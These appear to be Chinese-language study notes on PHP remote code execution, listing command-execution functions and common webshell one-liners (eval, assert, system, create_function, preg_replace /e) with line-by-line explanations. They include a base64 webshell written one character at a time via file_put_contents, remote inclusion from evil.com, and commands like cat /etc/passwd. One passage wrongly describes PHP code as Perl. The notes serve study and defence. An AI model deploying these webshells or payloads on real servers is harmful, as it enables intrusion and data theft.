渗透RCE
命令执行函数
system shell_exec exec passthru proc_open popen
http://<ubantu的ip>:1313有一种思路,利用file_put_contents可以将字符一个个地写入一个文件中,大概请求如下:
param=$_GET[a](N,a,8);&a=file_put_contents
a可以替换为写入的字符
# 每次写入一个字符:PD9waHAgZXZhbCgkX1BPU1RbOV0pOw
# 最后包含
param=include$_GET[0];&0=php://filter/read=convert.base64-decode/resource=N
call_user_func($action, $parameters) 中:
$action 由 $_GET['action'] 完全可控(如 action=file_put_contents );
$parameters 是过滤 action 后的所有 GET 参数(作为函数入参,如
filename=shell.php&data=<?php ...> )。
file_put_contents 接收 filename (文件名)和
常见PHP webshell
data (内容),直接写入恶意后门。
类型
param=$_GET[a](N,a,8);&a=file_put_contents
a可以替换为写入的字符
# 每次写入一个字符:PD9waHAgZXZhbCgkX1BPU1RbOV0pOw
# 最后包含
param=include$_GET[0];&0=php://filter/read=convert.base64-decode/resource=N
?action=file_put_contents&filename=shell.php&data=<?php eval($_GET[cmd]);?>
直接型
•eval($_POST[2333]);
$_POST:这是 PHP 里的一个超全局变量,其作用是接收通过 HTTP POST 方法提交的数据。
[2333]:这里表示从 $_POST 数组里获取键名为 2333 的值。要知道,这个键名是可以由外部用户来
控制的。
eval():此函数会把字符串当作 PHP 代码来执行。要是用户能够控制这个输入内容,那么就可以执行
任意的 PHP 命令。
•assert($_POST[2333]);
assert($_POST[2333]); 是 PHP 代码,作用是判断 $_POST 数组里是否存在索引为 2333 的
值,并且该值要能转换为布尔值 true。下面是详细解析:
$_POST:是 PHP 的超全局变量,用于接收通过 HTTP POST 方法提交的数据。
[2333]:表示访问$_POST数组中键名为2333的元素。这里的2333是字符串索引(PHP 会自动将数字
索引视为字符串)。
assert():验证表达式的结果是否为true。如果条件不满足,会触发断言失败(在开发环境中通常表现
为致命错误,生产环境中可能被忽略,取决于 PHP 配置)。
array_map('assert', $_POST);
$_POST:这是 PHP 中的超全局变量,用于接收通过 HTTP POST 方法提交的表单数据或其他请求数
据,是一个关联数组。
array_map('assert', $_POST):array_map 函数会将第二个参数(数组 $_POST)中的每个元
素,依次作为参数传递给第一个参数指定的函数(这里是 assert)并执行。
assert 函数的特性:在 PHP 中,assert 的作用是判断一个表达式是否为真。但关键在于,
如果传入的是字符串,assert 会将其当作 PHP 代码执行。
•usort($_POST[1], $_POST[2]);
usort($_POST[1], $_POST[2]); 是 PHP 代码,功能是借助自定义比较函数对数组排序。下面来
详细分析:
usort 函数:这是 PHP 里用于对数组进行排序的函数,它会按照用户提供的比较函数重新排列数组元
素,排序完成后原数组的键名会被重置。
参数情况:
$_POST[1]:这里面存储的应当是待排序的数组。$_POST 是 PHP 中的一个超全局变量,主要用
于接收通过 HTTP POST 方法提交的数据。
$_POST[2]:此参数代表的是用户自定义的比较函数。该函数需要接收两个参数,并且要返回一个
整数值,以此来表明这两个参数的大小关系。
include $_FILES['2333']['tmp_name'];
1.核心逻辑:
$_FILES['2333']['tmp_name']:获取用户上传文件(表单名 2333 )在服务器的临时路径。
include:将该临时文件 当作 PHP 代码解析执行。
2.文件上传处理:
$_FILES 是 PHP 里的一个超全局变量,专门用于存放通过 HTTP POST 方式上传的文件信息。
['2333'] 代表表单中文件上传字段的名称,假设表单里有类似 <input type="file"
name="2333"> 这样的字段。
['tmp_name'] 指的是文件上传后在服务器临时存储位置的路径。
3.动态代码包含:
include 语句的功能是引入并执行指定文件中的 PHP 代码。
变形型
命令型
要是上传的文件内容为 PHP 代码,比如 <?php echo 'Hello'; ?>,那么这段代码就会被执行。
require 'http://evil.com/1.txt';
require 是 PHP 中用于引入外部文件的函数,若 PHP 配置中 allow_url_include = On(默认
关闭,但部分环境可能开启),则 支持从远程 URL 加载文件。攻击者可通过构造恶意 URL(如
http://evil.com/1.txt),让服务器执行远程代码
eval(gzdeflate(base64_decode('...')));
eval(gzdeflate(base64_decode('...'))); 是一个 PHP 代码片段,用于执行经过多层编码的
脚本。下面简要解析其工作原理:
base64_decode('...'):将 Base64 编码的字符串解码为原始二进制数据。Base64 常用于
在文本协议中传输二进制数据。
gzdeflate(...):对解码后的二进制数据应用 deflate 压缩算法(类似 gzip),还原为压缩
前的原始数据。这里的 deflate 是 PHP 内置函数,与 gzip 同源但格式略有不同。
eval(...):将解压后的原始数据作为 PHP 代码执行。这是最危险的部分,因为 eval 会执行
任意代码,可能导致远程代码执行漏洞。
$_=[];$_++;$_++;...;$_($ );
这段代码是 Perl 语言中典型的 “高尔夫代码”(极简代码),利用了 Perl 的弱类型和隐式转换特
性,核心逻辑是构造并调用一个函数,解析如下:
$_=[]:将特殊变量$_赋值为空数组引用。
$_++(多次):对数组引用执行自增操作。在 Perl 中,引用自增会触发字符串化后按字符递增
(类似文件名排序),空数组引用字符串化是ARRAY(0x...),多次递增后会逐渐变为
ARRAY(0x...)→ARRAY(0x...)→... 最终可能变为类似CODE(...)的字符串(函数引用的格式)。
$_($ ):当$_被隐式转换为函数引用后,调用该函数并传入$(特殊变量,通常为空字符串)作为
参数。
`$_POST[2333]`;
$_POST[2333] 是 PHP 中的一个表达式,用于从 HTTP POST 请求中获取数据。以下是关键点解
析:
$_POST:这是 PHP 的一个超全局数组,专门用于接收通过 HTTP POST 方法提交的表单数据。当用户
通过表单提交数据时,PHP 会将这些数据自动填充到 $_POST 数组中。
[2333]:这是数组的索引,表示获取 $_POST 中键名为 2333 的值。注意,这里的 2333 是字符串
类型的键名(PHP 会自动将数字索引转换为字符串),而非数值索引。例如,若表单中有一个字段:
html
```
<input type="text" name="2333" value="hello">
```
则 $_POST[2333] 的值为 "hello"。
system($_POST[2333]);
首先,$_POST是 PHP 里用于接收 HTTP POST 请求参数的超全局变量。代码里使用
$_POST[2333],意味着它会获取名为2333的 POST 参数值。
其次,system()是 PHP 的一个系统命令执行函数,其作用是执行外部命令,并且会把执行结果输出。
当黑客对这个接口发起攻击时,能够通过 POST 参数2333传入恶意命令。比如,传入;ls -la /,经
过拼接后就变成了类似system(';ls -la /')这样的命令,这会让攻击者获取服务器的敏感信息。更严重的
是,攻击者还可能借此执行rm -rf /等危险命令,从而导致服务器系统崩溃。
•create_function('', $_POST[2333]);
create_function():动态创建匿名函数,语法为 create_function($args, $code),返回函数
名(如 lambda_1)。
$_POST[2333]:直接将用户 POST 参数(键为2333)的值作为函数体代码执行。
示例:若 POST 请求包含 2333=phpinfo();,代码会动态创建函数并执行 phpinfo(),泄露服务器
信息
攻击者可通过 POST 参数注入恶意 PHP 代码,例如:
// 执行系统命令(危险!)
system('cat /etc/passwd'); // Linux读取用户信息
system('dir C:\\'); // Windows查看目录
// 创建Webshell后门
file_put_contents('shell.php', '<?php eval($_GET[cmd]);?>');
•preg_replace('/.*/e', $_POST['n'], $_POST[2333]);
preg_replace():PHP 正则替换函数,当使用 /e 修饰符 时,会将替换结果($_POST['n'])当
作 PHP 代码执行。
/e 修饰符:在 PHP 5.5.0 + 已被弃用,PHP 7.0.0 + 彻底移除,因其存在致命安全风险。
代码逻辑:
// 原始代码
preg_replace('/.*/e', $_POST['n'], $_POST[2333]);
// 等价于(危险!)
eval(preg_replace('/.*/', $_POST['n'], $_POST[2333]));
攻击场景
攻击者可通过 POST 参数注入恶意 PHP 代码,例如:
// 假设攻击者发送POST请求:
// n=system($_GET['cmd']);
// 2333=a
// 代码执行时会变为:
preg_replace('/.*/e', 'system($_GET[\'cmd\']);', 'a');
// 等价于:
eval('system($_GET[\'cmd\']);'); // 任意命令执行!
访问 http://victim.com?vuln.php?cmd=ls -la 可查看服务器文件列表。